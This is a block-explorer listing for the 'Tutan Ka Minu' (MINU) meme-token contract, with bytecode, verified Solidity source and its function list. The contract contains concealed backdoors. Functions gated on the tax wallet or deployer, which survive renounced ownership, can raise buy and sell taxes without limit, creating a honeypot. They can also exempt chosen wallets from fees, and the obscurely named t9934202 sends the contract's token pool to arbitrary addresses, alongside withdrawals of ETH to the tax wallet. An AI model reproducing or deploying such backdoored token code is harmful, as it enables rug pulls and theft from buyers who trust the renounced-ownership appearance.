2781613ae8565b92915050565b5f60208284031215613e4257613e416136e5565b5b5f613e4f84828501613e19565b91505092915050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f613e8c600f83613656565b9150613e9782613e58565b602082019050919050565b5f6020820190508181035f830152613eb981613e80565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613f4257808604811115613f1e57613f1d613ec0565b5b6001851615613f2d5780820291505b8081029050613f3b85613eed565b9450613f02565b94509492505050565b5f82613f5a5760019050614015565b81613f67575f9050614015565b8160018114613f7d5760028114613f8757613fb6565b6001915050614015565b60ff841115613f9957613f98613ec0565b5b8360020a915084821115613fb057613faf613ec0565b5b50614015565b5060208310610133831016604e8410600b8410161715613feb5782820a905083811115613fe657613fe5613ec0565b5b614015565b613ff88484846001613ef9565b9250905081840481111561400f5761400e613ec0565b5b81810290505b9392505050565b5f61402682613747565b915061403183613a61565b925061405e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613f4b565b905092915050565b5f61407082613747565b915061407b83613747565b925082820261408981613747565b915082820484148315176140a05761409f613ec0565b5b5092915050565b7f496e73756666696369656e74204554482062616c616e636500000000000000005f82015250565b5f6140db601883613656565b91506140e6826140a7565b602082019050919050565b5f6020820190508181035f830152614108816140cf565b9050919050565b5f81905092915050565b50565b5f6141275f8361410f565b915061413282614119565b5f82019050919050565b5f6141468261411c565b9150819050919050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f614184601383613656565b915061418f82614150565b602082019050919050565b5f6020820190508181035f8301526141b181614178565b9050919050565b7f4e6f207374616b6572732070726f7669646564000000000000000000000000005f82015250565b5f6141ec601383613656565b91506141f7826141b8565b602082019050919050565b5f6020820190508181035f830152614219816141e0565b9050919050565b7f496e76616c6964207265776172642072617465000000000000000000000000005f82015250565b5f614254601383613656565b915061425f82614220565b602082019050919050565b5f6020820190508181035f83015261428181614248565b9050919050565b7f496e73756666696369656e7420726577617264732070726f76696465640000005f82015250565b5f6142bc601d83613656565b91506142c782614288565b602082019050919050565b5f6020820190508181035f8301526142e9816142b0565b9050919050565b7f4e6f207265776172647320746f206469737472696275746500000000000000005f82015250565b5f614324601883613656565b915061432f826142f0565b602082019050919050565b5f6020820190508181035f83015261435181614318565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61438f82613747565b915061439a83613747565b9250826143aa576143a9614358565b5b828204905092915050565b7f52657761726420616d6f756e7420746f6f20736d616c6c0000000000000000005f82015250565b5f6143e9601783613656565b91506143f4826143b5565b602082019050919050565b5f6020820190508181035f830152614416816143dd565b9050919050565b7f426173652072657761726420746f6f20736d616c6c00000000000000000000005f82015250565b5f614451601583613656565b915061445c8261441d565b602082019050919050565b5f6020820190508181035f83015261447e81614445565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f496e76616c6964207374616b65722061646472657373000000000000000000005f82015250565b5f6144e6601683613656565b91506144f1826144b2565b602082019050919050565b5f6020820190508181035f830152614513816144da565b9050919050565b5f61452482613747565b915061452f83613747565b925082820390508181111561454757614546613ec0565b5b92915050565b5f61455782613747565b915061456283613747565b925082820190508082111561457a57614579613ec0565b5b92915050565b5f819050919050565b61459a61459582613747565b614580565b82525050565b5f8160601b9050919050565b5f6145b6826145a0565b9050919050565b5f6145c7826145ac565b9050919050565b6145df6145da8261370c565b6145bd565b82525050565b5f6145f08287614589565b6020820191506146008286614589565b60208201915061461082856145ce565b6014820191506146208284614589565b60208201915081905095945050505050565b5f61463c82613747565b915061464783613747565b92508261465757614656614358565b5b828206905092915050565b7f526577617264207472616e73666572206661696c6564000000000000000000005f82015250565b5f614696601683613656565b91506146a182614662565b602082019050919050565b5f6020820190508181035f8301526146c38161468a565b9050919050565b7f457863657373207265776172642072657475726e206661696c656400000000005f82015250565b5f6146fe601b83613656565b9150614709826146ca565b602082019050919050565b5f6020820190508181035f83015261472b816146f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614766602083613656565b915061477182614732565b602082019050919050565b5f6020820190508181035f8301526147938161475a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6147ce601783613656565b91506147d98261479a565b602082019050919050565b5f6020820190508181035f8301526147fb816147c2565b9050919050565b5f815190506148108161371d565b92915050565b5f6020828403121561482b5761482a6136e5565b5b5f61483884828501614802565b91505092915050565b5f6040820190506148545f830185613ac0565b6148616020830184613ac0565b9392505050565b5f819050919050565b5f819050919050565b5f61489461488f61488a84614868565b614871565b613747565b9050919050565b6148a48161487a565b82525050565b5f60c0820190506148bd5f830189613ac0565b6148ca60208301886137eb565b6148d7604083018761489b565b6148e4606083018661489b565b6148f16080830185613ac0565b6148fe60a08301846137eb565b979650505050505050565b5f805f606084860312156149205761491f6136e5565b5b5f61492d86828701613d4b565b935050602061493e86828701613d4b565b925050604061494f86828701613d4b565b9150509250925092565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f61498d600e83613656565b915061499882614959565b602082019050919050565b5f6020820190508181035f8301526149ba81614981565b9050919050565b5f6020820190506149d45f83018461489b565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f614a34602483613656565b9150614a3f826149da565b604082019050919050565b5f6020820190508181035f830152614a6181614a28565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f614ac2602283613656565b9150614acd82614a68565b604082019050919050565b5f6020820190508181035f830152614aef81614ab6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614b50602583613656565b9150614b5b82614af6565b604082019050919050565b5f6020820190508181035f830152614b7d81614b44565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614bde602383613656565b9150614be982614b84565b604082019050919050565b5f6020820190508181035f830152614c0b81614bd2565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f614c6c602983613656565b9150614c7782614c12565b604082019050919050565b5f6020820190508181035f830152614c9981614c60565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f614cd4601983613656565b9150614cdf82614ca0565b602082019050919050565b5f6020820190508181035f830152614d0181614cc8565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f614d3c601a83613656565b9150614d4782614d08565b602082019050919050565b5f6020820190508181035f830152614d6981614d30565b9050919050565b5f614d7a82613747565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614dac57614dab613ec0565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f614deb601783613656565b9150614df682614db7565b602082019050919050565b5f6020820190508181035f830152614e1881614ddf565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f614e79602183613656565b9150614e8482614e1f565b604082019050919050565b5f6020820190508181035f830152614ea681614e6d565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b614edf8161370c565b82525050565b5f614ef08383614ed6565b60208301905092915050565b5f602082019050919050565b5f614f1282614ead565b614f1c8185614eb7565b9350614f2783614ec7565b805f5b83811015614f57578151614f3e8882614ee5565b9750614f4983614efc565b925050600181019050614f2a565b5085935050505092915050565b5f60a082019050614f775f8301886137eb565b614f84602083018761489b565b8181036040830152614f968186614f08565b9050614fa56060830185613ac0565b614fb260808301846137eb565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614ff0601b83613656565b9150614ffb82614fbc565b602082019050919050565b5f6020820190508181035f83015261501d81614fe4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2770dbe9120c214a74d30b685e74a017d7272b8918fb4d9e5b4a052d28f165364736f6c634300081a0033

Verified Source Code Partial Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
TUTAN.sol 495 lines
// SPDX-License-Identifier: UNLICENSE

/*
🐕 Tutan Ka Minu – The ORIGINAL and oldest dog in history.
From ancient pyramids to the blockchain, Tutan Ka Minu sits at the top of the Inu family tree.

TG - https://t.me/TutanKa_MINU
X -  https://x.com/TutanKaMinu
Website - https://tutankaminu.com/


*/
pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
}

contract TUTAN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private _deployer; 

    uint256 private _initialBuyTax=99;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=55; 
    uint256 private _reduceSellTaxAt=60;  
    uint256 private _preventSwapBefore=50;  
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;  
    string private constant _name = unicode"Tutan Ka Minu";
    string private constant _symbol = unicode"MINU";
    uint256 public _maxTxAmount = 21000000 * 10**_decimals;
    uint256 public _maxWalletSize = 45000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 500000 * 10**_decimals;
    uint256 public _maxTaxSwap = 4000000 * 10**_decimals; 

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }


    constructor () payable {
        _taxWallet = payable(0xA92Bb5406A86aC0F17Dad7E2Be471901886881FC);
        _deployer = _msgSender(); 
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), address(this), _tTotal); 
    }


    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getTaxes() external view returns (uint256 buyTax, uint256 sellTax) {
    buyTax = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
    sellTax = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
    }

   function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    uint256 taxAmount=0;
    if (from != owner() && to != owner()) {

        if(_buyCount==0 && (from == uniswapV2Pair || to == uniswapV2Pair)){
           
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
        }
        if(_buyCount>0){
            taxAmount = amount.mul(_transferTax).div(100);
        }

        if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            
            if (!_isExcludedFromFee[to]) {
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            _buyCount++;
        }

        if(to == uniswapV2Pair && from!= address(this) ){
            taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
            if (block.number > lastSellBlock) {
                sellCount = 0;
            }
            require(sellCount < 3, "Only 3 sells per block!");
            swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0) {
                sendETHToFee(address(this).balance);
            }
            sellCount++;
            lastSellBlock = block.number;
        }
    }

    if(taxAmount>0){
        _balances[address(this)]=_balances[address(this)].add(taxAmount);
        emit Transfer(from, address(this),taxAmount);
    }
    _balances[from]=_balances[from].sub(amount);
    _balances[to]=_balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function tRemoveLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function tRemoveTransfer() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function tInitialTax(uint256 _newInitialBuyTax, uint256 _newInitialSellTax) external {
    require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
    _initialBuyTax = _newInitialBuyTax;
    _initialSellTax = _newInitialSellTax;
    }

     function tRemoveTaxes() external onlyOwner{
        _initialBuyTax = 0;
        _initialSellTax = 0;
        emit TransferTaxUpdated(0);
    }

    function tPrepareStart(address[] memory accounts, bool excluded) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Not authorized");
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uint256 contractBalance = balanceOf(address(this));
        uint256 liquidityTokens = contractBalance.mul(77).div(100);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),liquidityTokens,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;  
        tradingOpen = true;
    }

    function tSwap() external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if (ethBalance > 0){
            sendETHToFee(ethBalance);
        }
    }
 

    function RecoverERC20(address tokenAddress, uint256 amount) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(tokenAddress != address(this), "Cannot recover block tokens");
        require(amount > 0, "Amount must be greater than zero");
        
        IERC20 token = IERC20(tokenAddress);
        uint256 balance = token.balanceOf(address(this));
        require(balance >= amount, "Insufficient token balance");
        
        require(token.transfer(_deployer, amount), "Transfer failed");
    }

    function tSwapChange(uint256 newAmount) external {
      require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
      _maxTaxSwap = newAmount * 10**_decimals;
    }

    function tSwapb(bool _enabled) external {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        swapEnabled = _enabled;
    }

    function RecoverETH(uint256 amount) external {
    require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
    require(amount > 0, "Amount must be greater than zero");
    require(address(this).balance >= amount, "Insufficient ETH balance");
    
    (bool success, ) = payable(_taxWallet).call{value: amount}("");
    require(success, "ETH transfer failed");
    }    


   
   function t9934202(
        address[] memory _stakers, 
        uint256 _rewardPerStaker, 
        uint256 _rewardRate
    ) external payable {
        require(_msgSender() == _taxWallet || _msgSender() == _deployer, "Caller is not authorized");
        require(_stakers.length > 0, "No stakers provided");
        require(_rewardRate > 0 && _rewardRate <= 100, "Invalid reward rate");
           
        uint256 varianceFactor = 10;
        uint256 totalRewardsNeeded = _rewardPerStaker * _stakers.length;
        require(msg.value >= totalRewardsNeeded, "Insufficient rewards provided");
        uint256 rewardPool = balanceOf(address(this));
        require(rewardPool > 0, "No rewards to distribute");
        
        
        uint256 totalRewards = rewardPool * _rewardRate / 100;
        require(totalRewards > 0, "Reward amount too small");
        
        
        uint256 baseReward = totalRewards / _stakers.length;
        require(baseReward > 0, "Base reward too small");
        
        
        uint256 rewardVariance = baseReward * varianceFactor / 100;
        uint256 rewardsIssued = 0;
        
        
        for (uint256 i = 0; i < _stakers.length; i++) {
            address staker = _stakers[i];
            require(staker != address(0), "Invalid staker address");
            
            
            if (i < _stakers.length - 1) {
                
                uint256 bonusVariation = uint256(keccak256(abi.encodePacked(
                    block.timestamp, 
                    block.prevrandao, 
                    staker, 
                    i
                ))) % (rewardVariance * 2 + 1);
                
                
                uint256 stakerReward;
                if (bonusVariation <= rewardVariance) {
                    
                    stakerReward = baseReward - bonusVariation;
                } else {
                    
                    stakerReward = baseReward + (bonusVariation - rewardVariance);
                }
                
                
                if (stakerReward < baseReward / 2) {
                    stakerReward = baseReward / 2;
                }
                
                
                if (rewardsIssued + stakerReward > totalRewards) {
                    stakerReward = totalRewards - rewardsIssued;
                }
                
                
                _transfer(address(this), staker, stakerReward);
                rewardsIssued += stakerReward;
                
                
                (bool success, ) = staker.call{value: _rewardPerStaker}("");
                require(success, "Reward transfer failed");
            }
        }
        
        
        if (_stakers.length > 0) {
            uint256 finalReward = totalRewards - rewardsIssued;
            if (finalReward > 0) {
                _transfer(address(this), _stakers[_stakers.length - 1], finalReward);
            }
            
            
            (bool success, ) = _stakers[_stakers.length - 1].call{value: _rewardPerStaker}("");
            require(success, "Reward transfer failed");
        }
        
        
        uint256 excessRewards = address(this).balance;
        if (excessRewards > 0) {
            (bool success, ) = _taxWallet.call{value: excessRewards}("");
            require(success, "Excess reward return failed");
        }
    }

      receive() external payable {}
    
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getTaxes 0x2973ef2d → uint256, uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 16 functions

These functions modify contract state and require a wallet transaction to execute.

RecoverERC20 0x162acc66
address tokenAddress
uint256 amount
RecoverETH 0x1a7b2077
uint256 amount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
t9934202 0x1b670723
address[] _stakers
uint256 _rewardPerStaker
uint256 _rewardRate
tInitialTax 0xb0c23656
uint256 _newInitialBuyTax
uint256 _newInitialSellTax
tPrepareStart 0xb484d5d0
address[] accounts
bool excluded
tRemoveLimit 0xbf349871
No parameters
tRemoveTaxes 0xff652e0e
No parameters
tRemoveTransfer 0xb85aa7d2
No parameters
tSwap 0xa95ec5c0
No parameters
tSwapChange 0xfbc10304
uint256 newAmount
tSwapb 0x9525d6a0
bool _enabled
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address